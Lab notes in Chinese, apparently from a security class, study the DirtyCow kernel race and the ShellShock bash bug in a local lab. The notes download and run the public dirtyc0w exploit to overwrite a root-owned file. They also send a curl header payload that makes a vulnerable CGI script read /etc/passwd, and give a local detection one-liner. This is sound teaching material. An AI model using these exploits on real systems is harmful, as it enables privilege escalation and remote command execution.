Linux DirtyCow and ShellShock漏洞学习

DirtyCow

实验环境:Ubuntu 12.04
实验工具:gcc
实验目的:了解DirtyCow漏洞的产生原因并熟悉DirtyCow漏洞的利用
CVE-2016-5195 https://dirtycow.ninja/

描述引用来源:https://github.com/dirtycow
A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.
Linux内核的内存子系统在处理copy-on-write(COW)时出现竞争条件,导致私有只读存储器映射被破坏。
The bug has existed since around 2.6.22 (released in 2007) and was fixed on Oct 18, 2016.
这个bug自Linux 2.6.22(发布于 2007 年)存在至今,并于2016年10月18日被修复。

从描述中,我们可以了解到这是一个存在于内核的条件竞争的漏洞,因此我们可以尝试利用这个漏洞来达到提权的目的。
首先请检查你的实验环境的内核版本

uname -a

显示:Linux ubuntu 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
接下来创建一个只有root可读写,而低权限只能读不能写的文件

test@ubuntu:~$ echo ABCDEFGHIJKLMN > target.txt
test@ubuntu:~$ cat target.txt 
ABCDEFGHIJKLMN
test@ubuntu:~$ chmod 644 target.txt
test@ubuntu:~$ sudo chown root:root target.txt
test@ubuntu:~$ ls -al 
target.txt 19 May 28 22:03

此时,当你尝试用低权限账户去改写该文件时,会发现返回Permission denied

test@ubuntu:~$ echo aaaaaaaaa > target.txt
bash: target.txt: Permission denied

编译利用代码

test@ubuntu:~$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
test@ubuntu:~$ gcc -pthread dirtyc0w.c -o dirtyc0w

执行dirtyc0w, 你会发现文件成功被修改

test@ubuntu:~$ ./dirtyc0w target.txt abcdefghijklmn
test@ubuntu:~$ cat target.txt
abcdefghijklmn

成因:(原文链接:https://blog.csdn.net/wanzt123/article/details/81879680)
Linux写时拷贝技术(copy-on-write)
在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。

ShellShock

课堂实验笔记
实验环境:Ubuntu 14.04
实验工具:Apache2、wget、curl
实验目的:了解ShellShock漏洞的产生原因并熟悉CGI场景下ShellShock漏洞的利用
漏洞编号:CVE-2014-6271

引用:https://shellshocker.net/
Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187) is a vulnerability in GNU's bash shell that gives attackers access to run remote commands on a vulnerable system. This security vulnerability affects versions 1.14 (released in 1994) to the most recent version 4.3 according to NVD.影响范围包括从1994年发行的1.14到4.3.

描述引用来源:https://en.wikipedia.org/wiki/Shellshock_(software_bug)
2014年9月24日bash被公布存在远程代码执行漏洞,漏洞会影响目前主流的操作系统平台,包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora 、Amazon Linux 、OS X 10.10等平台,此漏洞目前虽然有部分系统给出了补丁,但因为漏洞修补的时效性,及漏洞的范围之大,且还存在一些没有发布补丁的问题,所以仍被定义为高危漏洞。
bash引自维基百科的描述为:"bash,Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW。

当apache使用CGI处理HTTP请求时,它会将请求中的某些信息复制到环境变量列表中,然后将请求转发给处理程序。如果处理程序是一个Bash脚本,或者如果它使用syscall执行某个脚本,Bash将接收由服务器传递的环境变量,并按上述方式处理它们。 这就提供了一种通过构造HTTP请求来触发ShellShock漏洞的场景。

环境搭建

下载并编译存在漏洞版本的bash

# Please ensure to run the following command with root privilege.
apt update && apt -y install wget build-essential bison autoconf
mkdir -p /usr/local/src/cve-2014-6271 
wget -qO- https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz | tar zx -C /usr/local/src/cve-2014-6271 --strip-components=1
cd /usr/local/src/cve-2014-6271 && ./configure --prefix=/usr/local/bash-4.3.0
make && make install
rm -rf /usr/local/src/cve-2014-6271
apt-get install --reinstall systemd

# Install apache2 and enable CGI mod for your Linux.
apt install apache2 && a2enmod cgi
cp ./safe.cgi ./vuln.cgi /usr/lib/cgi-bin
chmod +x /usr/lib/cgi-bin/*.cgi
systemctl start apache2.service

Ubuntu下cgi配置参考:https://blog.csdn.net/a623891391/article/details/47170355

ln -s /etc/apache2/mods-available/cgid.conf /etc/apache2/mods-enabled/cgid.conf
ln -s /etc/apache2/mods-available/cgid.load /etc/apache2/mods-enabled/cgid.load
ln -s /etc/apache2/mods-available/cgi.load /etc/apache2/mods-enabled/cgi.load

分别使用curl 访问如下未修复和已修复的CGI的页面

curl http://127.0.0.1/cgi-bin/vuln.cgi
curl http://127.0.0.1/cgi-bin/safe.cgi

如果返回类似如下的结果,说明环境配置成功

$ curl 127.0.0.1/cgi-bin/vuln.cgi
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 146
Content-Type: text/html
Date: Sun, 27 May 2018 18:05:42 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.33 (Debian)
Vary: Accept-Encoding

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Bash ShellShock</title>
</head>
<body>
<p>
Hello world
</p>
</body>
</html>
  1. 使用如下命令访问vuln.cgi所在的页面,查看response。

    curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' http://127.0.0.1/cgi-bin/vuln.cgi -I

    -H, --header LINE Custom header to pass to server (H)自定义头部传递给服务器

  2. 尝试解释Q1中PoC。
    当shell发现环境变量以()开头,就会读取变量名,并执行后面的语句。向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。

  3. 还有没有其他场景可能会导致ShellShock漏洞,讨论ShellShock产生的原因。
    受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。

    本地检测(https://blog.csdn.net/qq_40657585/article/details/83242985)
    在Bash Shell下执行以下代码:
    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    如果输出:
    vulnerable
    this is a test
    表示存在漏洞。

全部评论

相关推荐

点赞 收藏 评论
分享
牛客网
牛客企业服务